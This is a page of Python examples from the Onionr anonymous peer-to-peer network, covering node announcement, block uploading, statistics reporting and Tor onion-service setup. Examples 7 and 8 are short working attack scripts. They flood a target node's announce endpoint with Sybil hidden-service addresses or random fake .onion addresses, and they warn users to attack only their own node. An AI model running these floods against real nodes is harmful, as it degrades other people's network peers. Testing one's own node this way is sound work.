Esempio n. 1
0
def announce_node(daemon):
    '''Announce our node to our peers'''
    ret_data = False
    announce_fail = False
    
    # Do not let announceCache get too large
    if len(daemon.announceCache) >= 10000:
        daemon.announceCache.popitem()

    if daemon.config.get('general.security_level', 0) == 0:
        # Announce to random online peers
        for i in daemon.onlinePeers:
            if not i in daemon.announceCache and not i in daemon.announceProgress:
                peer = i
                break
        else:
            peer = onlinepeers.pick_online_peer(daemon)

        for x in range(1):
            try:
                ourID = gettransports.get()[0]
            except IndexError:
                break

            url = 'http://' + peer + '/announce'
            data = {'node': ourID}

            combinedNodes = ourID + peer
            if ourID != 1:
                existingRand = bytesconverter.bytes_to_str(keydb.transportinfo.get_address_info(peer, 'powValue'))
                # Reset existingRand if it no longer meets the minimum POW
                if type(existingRand) is type(None) or not existingRand.endswith('0' * onionrvalues.ANNOUNCE_POW):
                    existingRand = ''

            if peer in daemon.announceCache:
                data['random'] = daemon.announceCache[peer]
            elif len(existingRand) > 0:
                data['random'] = existingRand
            else:
                daemon.announceProgress[peer] = True
                proof = onionrproofs.DataPOW(combinedNodes, minDifficulty=onionrvalues.ANNOUNCE_POW)
                del daemon.announceProgress[peer]
                try:
                    data['random'] = base64.b64encode(proof.waitForResult()[1])
                except TypeError:
                    # Happens when we failed to produce a proof
                    logger.error("Failed to produce a pow for announcing to " + peer)
                    announce_fail = True
                else:
                    daemon.announceCache[peer] = data['random']
            if not announce_fail:
                logger.info('Announcing node to ' + url)
                if basicrequests.do_post_request(url, data, port=daemon.shared_state.get(NetController).socksPort) == 'Success':
                    logger.info('Successfully introduced node to ' + peer, terminal=True)
                    ret_data = True
                    keydb.transportinfo.set_address_info(peer, 'introduced', 1)
                    keydb.transportinfo.set_address_info(peer, 'powValue', data['random'])
    daemon.decrementThreadCount('announce_node')
    return ret_data
Esempio n. 2
0
def statistics_reporter(shared_state):
    server = config.get('statistics.server', '')
    if not config.get('statistics.i_dont_want_privacy', False) or \
            not server:
        return

    def compile_data():
        return {
            'time': epoch.get_epoch(),
            'adders': get_transports(),
            'peers':
            shared_state.get_by_string('DeadSimpleKV').get('onlinePeers')
        }

    while True:
        better_sleep(5)
        data = compile_data()
        basicrequests.do_post_request(f'http://{server}/sendstats/' +
                                      get_transports()[0],
                                      data=json.dumps(data))
Esempio n. 3
0
def announce_node(daemon):
    """Announce our node to our peers."""
    ret_data = False
    kv: "DeadSimpleKV" = daemon.shared_state.get_by_string("DeadSimpleKV")

    # Do not let announceCache get too large
    if len(kv.get('announceCache')) >= 10000:
        kv.get('announceCache').popitem()

    if daemon.config.get('general.security_level', 0) == 0:
        # Announce to random online peers
        for i in kv.get('onlinePeers'):
            if i not in kv.get('announceCache'):
                peer = i
                break
        else:
            try:
                peer = onlinepeers.pick_online_peer(daemon)
            except onionrexceptions.OnlinePeerNeeded:
                peer = ""

        try:
            ourID = gettransports.get()[0]
            if not peer:
                raise onionrexceptions.OnlinePeerNeeded
        except (IndexError, onionrexceptions.OnlinePeerNeeded):
            pass
        else:
            url = 'http://' + peer + '/announce'
            data = {'node': ourID}

            logger.info('Announcing node to ' + url)
            if basicrequests.do_post_request(
                    url,
                    data,
                    port=daemon.shared_state.get(NetController).socksPort)\
                    == 'Success':
                logger.info('Successfully introduced node to ' + peer,
                            terminal=True)
                ret_data = True
                keydb.transportinfo.set_address_info(peer, 'introduced', 1)

    daemon.decrementThreadCount('announce_node')
    return ret_data
Esempio n. 4
0
def upload_blocks_from_communicator(comm_inst: 'OnionrCommunicatorDaemon'):
    """Accept a communicator instance + upload blocks from its upload queue."""
    """when inserting a block, we try to upload
     it to a few peers to add some deniability & increase functionality"""
    kv: "DeadSimpleKV" = comm_inst.shared_state.get_by_string("DeadSimpleKV")
    TIMER_NAME = "upload_blocks_from_communicator"

    session_manager: sessionmanager.BlockUploadSessionManager
    session_manager = comm_inst.shared_state.get(
        sessionmanager.BlockUploadSessionManager)
    tried_peers: UserID = []
    finishedUploads = []
    kv.put('blocksToUpload',
           onionrcrypto.cryptoutils.random_shuffle(kv.get('blocksToUpload')))

    def remove_from_hidden(bl):
        sleep(60)
        try:
            comm_inst.shared_state.get_by_string(
                'PublicAPI').hideBlocks.remove(bl)
        except ValueError:
            pass

    if len(kv.get('blocksToUpload')) != 0:
        for bl in kv.get('blocksToUpload'):
            if not stringvalidators.validate_hash(bl):
                logger.warn('Requested to upload invalid block', terminal=True)
                comm_inst.decrementThreadCount(TIMER_NAME)
                return
            session = session_manager.add_session(bl)
            for _ in range(min(len(kv.get('onlinePeers')), 6)):
                try:
                    peer = onlinepeers.pick_online_peer(comm_inst)
                except onionrexceptions.OnlinePeerNeeded:
                    continue
                try:
                    session.peer_exists[peer]
                    continue
                except KeyError:
                    pass
                try:
                    if session.peer_fails[peer] > 3:
                        continue
                except KeyError:
                    pass
                if peer in tried_peers:
                    continue
                tried_peers.append(peer)
                url = f'http://{peer}/upload'
                try:
                    data = block.Block(bl).getRaw()
                except onionrexceptions.NoDataAvailable:
                    finishedUploads.append(bl)
                    break
                proxy_type = proxypicker.pick_proxy(peer)
                logger.info(f"Uploading block {bl[:8]} to {peer}",
                            terminal=True)
                resp = basicrequests.do_post_request(
                    url,
                    data=data,
                    proxyType=proxy_type,
                    content_type='application/octet-stream')
                if resp is not False:
                    if resp == 'success':
                        Thread(target=remove_from_hidden,
                               args=[bl],
                               daemon=True).start()
                        session.success()
                        session.peer_exists[peer] = True
                    elif resp == 'exists':
                        session.success()
                        session.peer_exists[peer] = True
                    else:
                        session.fail()
                        session.fail_peer(peer)
                        comm_inst.getPeerProfileInstance(peer).addScore(-5)
                        logger.warn(
                            f'Failed to upload {bl[:8]}, reason: {resp}',
                            terminal=True)
                else:
                    session.fail()
        session_manager.clean_session()
    for x in finishedUploads:
        try:
            kv.get('blocksToUpload').remove(x)

            comm_inst.shared_state.get_by_string(
                'PublicAPI').hideBlocks.remove(x)

        except ValueError:
            pass
    comm_inst.decrementThreadCount(TIMER_NAME)
Esempio n. 5
0
    def __init__(self, peer, address, comm_inst=None):

        if not stringvalidators.validate_pub_key(peer):
            raise ValueError('Peer must be valid base32 ed25519 public key')

        socks = config.get(
            'tor.socksport')  # Load config for Tor socks port for proxy
        service_app = Flask(__name__)  # Setup Flask app for server.
        service_port = get_open_port()
        service_ip = apiutils.setbindip.set_bind_IP()
        http_server = WSGIServer(('127.0.0.1', service_port),
                                 service_app,
                                 log=None)
        comm_inst.service_greenlets.append(http_server)
        key_store = simplekv.DeadSimpleKV(filepaths.cached_storage)

        # TODO define basic endpoints useful for direct connections like stats

        httpapi.load_plugin_blueprints(service_app,
                                       blueprint='direct_blueprint')

        @service_app.route('/ping')
        def get_ping():
            return "pong!"

        @service_app.route('/close')
        def shutdown_server():
            comm_inst.service_greenlets.remove(http_server)
            http_server.stop()
            return Response('goodbye')

        @service_app.after_request
        def afterReq(resp):
            # Security headers
            resp = httpheaders.set_default_onionr_http_headers(resp)
            return resp

        with Controller.from_port(
                port=config.get('tor.controlPort')) as controller:
            # Connect to the Tor process for Onionr
            controller.authenticate(config.get('tor.controlpassword'))
            # Create the v3 onion service for the peer to connect to
            response = controller.create_ephemeral_hidden_service(
                {80: service_port},
                await_publication=True,
                key_type='NEW',
                key_content='ED25519-V3')

            try:
                for x in range(3):
                    attempt = basicrequests.do_post_request(
                        'http://' + address + '/bs/' + response.service_id,
                        port=socks)
                    if attempt == 'success':
                        break
                else:
                    raise ConnectionError
            except ConnectionError:
                # Re-raise
                raise ConnectionError(
                    'Could not reach %s bootstrap address %s' %
                    (peer, address))
            else:
                # If no connection error, create the service and save it to local global key store
                peer = bytesconverter.bytes_to_str(peer)
                key_store.put('dc-' + peer, response.service_id)
                key_store.flush()
                logger.info('hosting on %s with %s' %
                            (response.service_id, peer))
                http_server.serve_forever()
                http_server.stop()
                key_store.delete('dc-' + peer)
Esempio n. 6
0
def upload_blocks_from_communicator(comm_inst: OnionrCommunicatorDaemon):
    """Accepts a communicator instance and uploads blocks from its upload queue"""
    """when inserting a block, we try to upload
     it to a few peers to add some deniability & increase functionality"""
    TIMER_NAME = "upload_blocks_from_communicator"

    session_manager: sessionmanager.BlockUploadSessionManager = comm_inst.shared_state.get(
        sessionmanager.BlockUploadSessionManager)
    triedPeers = []
    finishedUploads = []
    comm_inst.blocksToUpload = onionrcrypto.cryptoutils.random_shuffle(
        comm_inst.blocksToUpload)
    if len(comm_inst.blocksToUpload) != 0:
        for bl in comm_inst.blocksToUpload:
            if not stringvalidators.validate_hash(bl):
                logger.warn('Requested to upload invalid block', terminal=True)
                comm_inst.decrementThreadCount(TIMER_NAME)
                return
            session = session_manager.add_session(bl)
            for i in range(min(len(comm_inst.onlinePeers), 6)):
                peer = onlinepeers.pick_online_peer(comm_inst)
                try:
                    session.peer_exists[peer]
                    continue
                except KeyError:
                    pass
                try:
                    if session.peer_fails[peer] > 3: continue
                except KeyError:
                    pass
                if peer in triedPeers: continue
                triedPeers.append(peer)
                url = f'http://{peer}/upload'
                try:
                    data = block.Block(bl).getRaw()
                except onionrexceptions.NoDataAvailable:
                    finishedUploads.append(bl)
                    break
                proxyType = proxypicker.pick_proxy(peer)
                logger.info(f"Uploading block {bl[:8]} to {peer}",
                            terminal=True)
                resp = basicrequests.do_post_request(
                    url,
                    data=data,
                    proxyType=proxyType,
                    content_type='application/octet-stream')
                if not resp == False:
                    if resp == 'success':
                        session.success()
                        session.peer_exists[peer] = True
                    elif resp == 'exists':
                        session.success()
                        session.peer_exists[peer] = True
                    else:
                        session.fail()
                        session.fail_peer(peer)
                        comm_inst.getPeerProfileInstance(peer).addScore(-5)
                        logger.warn(
                            f'Failed to upload {bl[:8]}, reason: {resp[:15]}',
                            terminal=True)
                else:
                    session.fail()
        session_manager.clean_session()
    for x in finishedUploads:
        try:
            comm_inst.blocksToUpload.remove(x)
        except ValueError:
            pass
    comm_inst.decrementThreadCount(TIMER_NAME)
Esempio n. 7
0
from stem.control import Controller

onionr_ip = input("onionr ip address: ")
onionr_port = int(input("Enter onionr public api port: "))

controller = Controller.from_port('127.0.0.1',
                                  int(input("Enter tor controller port: ")))
controller.authenticate()

node = input(
    "Enter node to attack. Note that you legally must use your own, and even that might lead to technical or legal issues: "
)
assert stringvalidators.validate_transport(node)

socks = input("Socks:")

adders = set([])
for i in range(int(input("Sybil addresses: "))):
    response = controller.create_ephemeral_hidden_service(
        {80: f'{onionr_ip}:{onionr_port}'}, await_publication=True)
    #print(i, response.service_id)
    adders.add(response.service_id)

for x in adders:
    x += '.onion'
    print(f"Introducing {x} to {node}")
    basicrequests.do_post_request(f'http://{node}/announce',
                                  data={'node': x},
                                  port=socks)
Esempio n. 8
0
import sys
import os
import secrets
import base64

os.chdir('../')
sys.path.append("src/")
from onionrutils import stringvalidators
from onionrutils import basicrequests


def random_tor_generator():
    return base64.b32encode(secrets.token_bytes(35)).decode().replace(
        "=", "").lower() + ".onion"


node = input(
    "Enter node to attack. Note that you legally must use your own, and even that might lead to technical or legal issues"
)
assert stringvalidators.validate_transport(node)

count = int(input("Attack amount: "))
port = input("Socks:")
for x in range(count):
    new = random_tor_generator()
    print(f"Introducing {new} to {node}")
    basicrequests.do_post_request(f'http://{node}/announce',
                                  data={'node': new},
                                  port=port)
Esempio n. 9
0
def upload_blocks_from_communicator(shared_state: 'OnionrCommunicatorDaemon'):
    """Accept a communicator instance + upload blocks from its upload queue."""
    """when inserting a block, we try to upload
     it to a few peers to add some deniability & increase functionality"""
    kv: "DeadSimpleKV" = shared_state.get_by_string("DeadSimpleKV")

    session_manager: sessionmanager.BlockUploadSessionManager
    session_manager = shared_state.get(
        sessionmanager.BlockUploadSessionManager)
    tried_peers: UserID = []
    finishedUploads = []

    SystemRandom().shuffle(kv.get('blocksToUpload'))

    def remove_from_hidden(bl):
        sleep(60)
        try:
            shared_state.get_by_string(
                'PublicAPI').hideBlocks.remove(bl)
        except ValueError:
            pass

    if len(kv.get('blocksToUpload')) != 0:
        for bl in kv.get('blocksToUpload'):
            if not stringvalidators.validate_hash(bl):
                logger.warn('Requested to upload invalid block', terminal=True)
                return
            session = session_manager.add_session(bl)
            for _ in range(min(len(kv.get('onlinePeers')), 6)):
                try:
                    peer = onlinepeers.pick_online_peer(kv)
                    if not block.Block(bl).isEncrypted:
                        if peer in kv.get('plaintextDisabledPeers'):
                            logger.info(f"Cannot upload plaintext block to peer that denies it {peer}")  # noqa
                            continue
                except onionrexceptions.OnlinePeerNeeded:
                    continue
                try:
                    session.peer_exists[peer]
                    continue
                except KeyError:
                    pass
                try:
                    if session.peer_fails[peer] > 3:
                        continue
                except KeyError:
                    pass
                if peer in tried_peers:
                    continue
                tried_peers.append(peer)
                url = f'http://{peer}/upload'
                try:
                    data = block.Block(bl).getRaw()
                    if not data:
                        logger.warn(
                            f"Couldn't get data for block in upload list {bl}",
                            terminal=True)
                        raise onionrexceptions.NoDataAvailable
                    try:
                        def __check_metadata():
                            metadata = get_block_metadata_from_data(data)[0]
                            if not validate_metadata(metadata, data):
                                logger.warn(
                                    f"Metadata for uploading block not valid {bl}")
                                raise onionrexceptions.InvalidMetadata
                        __check_metadata()
                    except onionrexceptions.DataExists:
                        pass
                except(  # noqa
                        onionrexceptions.NoDataAvailable,
                        onionrexceptions.InvalidMetadata) as _:
                    finishedUploads.append(bl)
                    break
                proxy_type = proxypicker.pick_proxy(peer)
                logger.info(
                    f"Uploading block {bl[:8]} to {peer}", terminal=True)
                resp = basicrequests.do_post_request(
                    url, data=data, proxyType=proxy_type,
                    content_type='application/octet-stream')
                if resp is not False:
                    if resp == 'success':
                        Thread(target=remove_from_hidden,
                               args=[bl], daemon=True).start()
                        session.success()
                        session.peer_exists[peer] = True
                    elif resp == 'exists':
                        session.success()
                        session.peer_exists[peer] = True
                    else:
                        session.fail()
                        session.fail_peer(peer)
                        shared_state.get_by_string(
                            'OnionrCommunicatorDaemon').getPeerProfileInstance(
                                peer).addScore(-5)
                        logger.warn(
                           f'Failed to upload {bl[:8]}, reason: {resp}',
                           terminal=True)
                else:
                    session.fail()
        session_manager.clean_session()
    for x in finishedUploads:
        try:
            kv.get('blocksToUpload').remove(x)

            shared_state.get_by_string(
                'PublicAPI').hideBlocks.remove(x)

        except ValueError:
            pass